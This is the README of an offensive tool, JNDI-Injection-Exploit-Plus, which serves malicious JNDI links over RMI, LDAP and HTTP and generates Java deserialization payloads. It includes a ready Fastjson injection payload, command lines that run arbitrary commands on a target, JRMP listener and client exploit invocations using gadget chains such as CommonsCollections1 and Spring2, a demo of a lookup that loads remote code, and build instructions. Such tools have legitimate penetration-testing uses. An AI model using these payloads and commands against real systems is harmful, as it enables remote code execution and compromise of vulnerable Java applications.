JNDI-Injection-Exploit-Plus

Description

JNDI-Injection-Exploit-Plus is a tool for generating workable JNDI links and provide background services by starting RMI server,LDAP server and HTTP server.

Using this tool allows you get JNDI links, you can insert these links into your POC to test vulnerability.

For example, this is a Fastjson vul-poc:

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:1099/Object","autoCommit":true}

We can replace "rmi://127.0.0.1:1099/Object" with the link generated by JNDI-Injection-Exploit-Plus to test vulnerability.

What's more, you can also use JNDI-Injection-Exploit-Plus to generate binary/base64 type of payloads like ysoserial

4. generate and export payloads

Like ysoserial.

You can generate the deserialization payloads with binary or base64 type of output

Usage

JNDI Links

Run as

$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar [-C] [command] [-A] [address]

where:

• -C - command executed in the remote classfile.

  (optional , default command is "open /Applications/Calculator.app")

• -A - the address of your server, maybe an IP address or a domain.

  (optional , default address is the first network interface address)

Points for attention:

• make sure your server's ports (1099, 1389, 8180) are available .

  or you can change the default port in the run.ServerStart class.

• your command is passed to Runtime.getRuntime().exec() as parameters,

  so you need to ensure your command is workable in method exec().

  Command in bash like "bash -c ...." need to add Double quotes.

Deserialization Payloads

Run as

$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar [-C] [command] [-D] [Gadget] [-O] [bin/base64]

where:

• -C - command executed in the remote classfile.

  (optional , default command is "open /Applications/Calculator.app")

• -D - The deserial Gadget payload name.

• -O - (Optional) The deserial output type, default is binary

Deserialization Exploits

JRMP

• JRMPListener

java -cp JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar exploit.JRMPListener <port> CommonsCollections1 calc

• JRMPClient

java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "<ip>:<port>" -D "JRMPClient" -O base64

Examples

JNDI Links

Local demo:

1. Start the tool like this:

   $ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1"

   Screenshot:

   

2. Assume that we inject the JNDI links like rmi://ADDRESS/remoteExploit8 generated in step 1 to a vulnerable application which can be attacked by JNDI injection.

   In this example, it looks like this:

   class Test{
       public static void main(String[] args) throws Exception{
           InitialContext ctx = new InitialContext();
           ctx.lookup("rmi://127.0.0.1:1099/remoteExploit8");
       }
   }

   then when we run this code, the command will be executed ,

   and the log will be printed in shell:

Deserialization Payloads

$ java -jar JNDI-Injection-Exploit-Plus-1.4-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -D "Spring2" -O base64

Base64 Output Result:

Installation

We can select one of the two methods to get the jar.

1. Download the latest jar from Realease.

2. Clone the source code to local and build (Requires Java 1.8+ and Maven 3.x+).

   $ git clone https://github.com/cckuailong/JNDI-Injection-Exploit-Plus.git

   $ cd JNDI-Injection-Exploit-Plus

   $ mvn clean package -DskipTests

P.S. ‼️ If you get the error like "java.rmi.xxx does not exists", you should set the JAVA_HOME env.
